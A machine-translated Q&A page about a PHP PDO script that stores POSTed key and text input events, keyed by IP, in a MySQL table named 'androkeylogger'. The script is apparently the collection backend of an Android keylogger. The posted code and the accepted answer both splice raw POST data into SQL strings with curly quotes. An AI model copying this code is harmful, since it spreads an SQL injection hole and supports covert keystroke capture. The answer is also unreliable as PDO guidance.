PHP- PDO MySQL执行();

用户名

我正在使用PDO MySQL在MySQL服务器中插入POST数据。我的代码是:

<?php
$ip = $_SERVER['REMOTE_ADDR']
$type = $_POST['type'];
$data = $_POST['data'];
$server = localhost;
$mysql_user = dbuser;
$mysql_pass = passwd;
$useDb = android;

$dsn = sprintf('mysql:host=%s; dbname=%s', $server, $useDb);
$pdo = new PDO($dsn, $mysql_user, $mysql_pass);
$pdo->setAttribute(PDO::ATTR_TIMEOUT, 1);
$pdo->setAttribute(PDO::ATTR_PERSISTENT, false);
$pdo->setAttribute(PDO::MYSQL_ATTR_INIT_COMMAND, 'SET NAMES utf8');
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

switch($type)
{
    case 'keyinputevent':
        $query = $pdo->prepare(' SELECT * FROM androkeylogger WHERE ip = ‘$ip’ AND type = ‘keyinputevent’ ');
        $query->execute();
        $rows = $query->rowCount();
        if ($rows > 0) {
            $pdo->prepare(' UPDATE androkeylogger SET data = CONCAT(data, ‘$data’) WHERE ip = ‘$ip’ AND type = ‘keyinputevent’ ');
        }
        else {
            $pdo->prepare(' INSERT into androkeylogger (ip, type, data) VALUES(‘$ip’, ‘$type’, ‘$data’)');
        }
        break;

    case 'textinputevent':
        $query = $pdo->prepare(' SELECT * FROM androkeylogger WHERE ip = ‘$ip’ AND type = ‘textinputevent’ ');
        $query->execute();
        $rows = $query->rowCount();
        if ($rows > 0) {
            $pdo->prepare(' UPDATE androkeylogger SET data = CONCAT(data, ‘$data’) WHERE ip = ‘$ip’ AND type = ‘textinputevent’ ');
        }
        else {
            $pdo->prepare(' INSERT into androkeylogger (ip, type, data) VALUES(‘$ip’, ‘$type’, ‘$data’) ');
        }
        break;
}
?>

在if else语句中,我应该添加$ pdo-> execute();吗?执行查询?任何帮助,将不胜感激。

编辑:我已经更改了if..else语句中的查询变量名称。现在正确吗?

<?php
$ip = $_SERVER['REMOTE_ADDR'];
$type = $_POST['type'];
$data = $_POST['data'];
$server = localhost;
$mysql_user = dbuser;
$mysql_pass = passwd;
$useDb = android;

$dsn = sprintf('mysql:host=%s;dbname=%s', $server, $useDb);
$pdo = new PDO($dsn, $mysql_user, $mysql_pass);
$pdo->setAttribute(PDO::ATTR_TIMEOUT, 1);
$pdo->setAttribute(PDO::ATTR_PERSISTENT, false);
$pdo->setAttribute(PDO::MYSQL_ATTR_INIT_COMMAND, 'SET NAMES utf8');
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

switch($type)
{
case 'keyinputevent':
$query = $pdo->prepare(' SELECT * FROM androkeylogger WHERE ip = ‘$ip’ AND type = ‘keyinputevent’ ');
$query->execute();
$rows = $query->rowCount();
if ($rows > 0) {
$query2 = $pdo->prepare(' UPDATE androkeylogger SET data = CONCAT(data, ‘$data’) WHERE ip = ‘$ip’ AND type = ‘keyinputevent’ ');
}
else {
$query2=$pdo->prepare(' INSERT into androkeylogger (ip, type, data) VALUES(‘$ip’, ‘$type’, ‘$data’)');
}
$query2->execute(); 
break;

case 'textinputevent':
$query = $pdo->prepare(' SELECT * FROM androkeylogger WHERE ip = ‘$ip’ AND type = ‘textinputevent’ ');
$query->execute();
$rows = $query->rowCount();
if ($rows > 0) {
$query2 = $pdo->prepare(' UPDATE androkeylogger SET data = CONCAT(data, ‘$data’) WHERE ip = ‘$ip’ AND type = ‘textinputevent’ ');
}
else { 
$query2 = $pdo->prepare(' INSERT into androkeylogger (ip, type, data) VALUES(‘$ip’, ‘$type’, ‘$data’) ');
}
$query2->execute(); 
break;
}
?>
丹妮吕登德

是的,您已经准备了第二个查询(即if ... else语句中的查询,但是您需要调用execute来使查询实际发生。我会这样做:

if ($rows > 0) {
    $query2 = $pdo->prepare(' UPDATE androkeylogger SET data = CONCAT(data, ‘$data’) WHERE ip = ‘$ip’ AND type = ‘textinputevent’ ');
} else {
    $query2  = $pdo->prepare(' INSERT into androkeylogger (ip, type, data) VALUES(‘$ip’, ‘$type’, ‘$data’) ');
}
$query2->execute();
break;

本文收集自互联网,转载请注明来源。

如有侵权,请联系[email protected] 删除。

编辑于
0

我来说两句

0条评论
登录后参与评论

相关文章

来自分类Dev

PHP PDO和Mysql

来自分类Dev

PHP MySQL / PDO UPDATE查询无法执行

来自分类Dev

使用PHP中的PDO在SQLite和MySQL之间执行JOIN?

来自分类Dev

PHP / PDO连接到Mysql,但查询似乎未执行

来自分类Dev

使用PHP的PDO MYSQL准备的更新语句未执行

来自分类Dev

PHP/MySQL 错误:无法使用 PDO 执行 INSERT INTO

来自分类Dev

PHP PDO 执行错误 42000

来自分类Dev

PHP PDO准备和执行

来自分类Dev

php-mysql-pdo:插入后准备执行后无法执行

来自分类Dev

PHP MYSQL PDO列的总和

来自分类Dev

使用php pdo mysql分页

来自分类Dev

PHP PDO MySQL重复输出

来自分类Dev

AJAX / PDO冲突(PHP / MySQL)

来自分类Dev

PHP PDO错误处理暂停执行

来自分类Dev

使用php PDO执行mysqlivotable语句

来自分类Dev

mysql PHP PDO在单个POST请求上执行2个查询

来自分类Dev

PHP PDO异常+ MySQL警告已消失?

来自分类Dev

PHP PDO-使用MySQL变量

来自分类Dev

PHP PDO bindParam()和MySQL BIT

来自分类Dev

用LEFT JOIN更新pdo php mysql

来自分类Dev

PHP MySQL / PDO更新问题

来自分类Dev

Apache,PHP,MySQL,PDO,权限被拒绝,laravel

来自分类Dev

PHP + MySQL + PDO中的单引号转义

来自分类Dev

PHP(mysqli或pdo)如何运行MySQL命令?

来自分类Dev

使用PDO的PHP Mysql日期时间搜索

来自分类Dev

动态构建PHP PDO MySQL查询

来自分类Dev

将PHP脚本从mysql _...移植到PDO

来自分类Dev

PHP PDO检索MYSQL DB大小

来自分类Dev

php-PDO更新mysql字段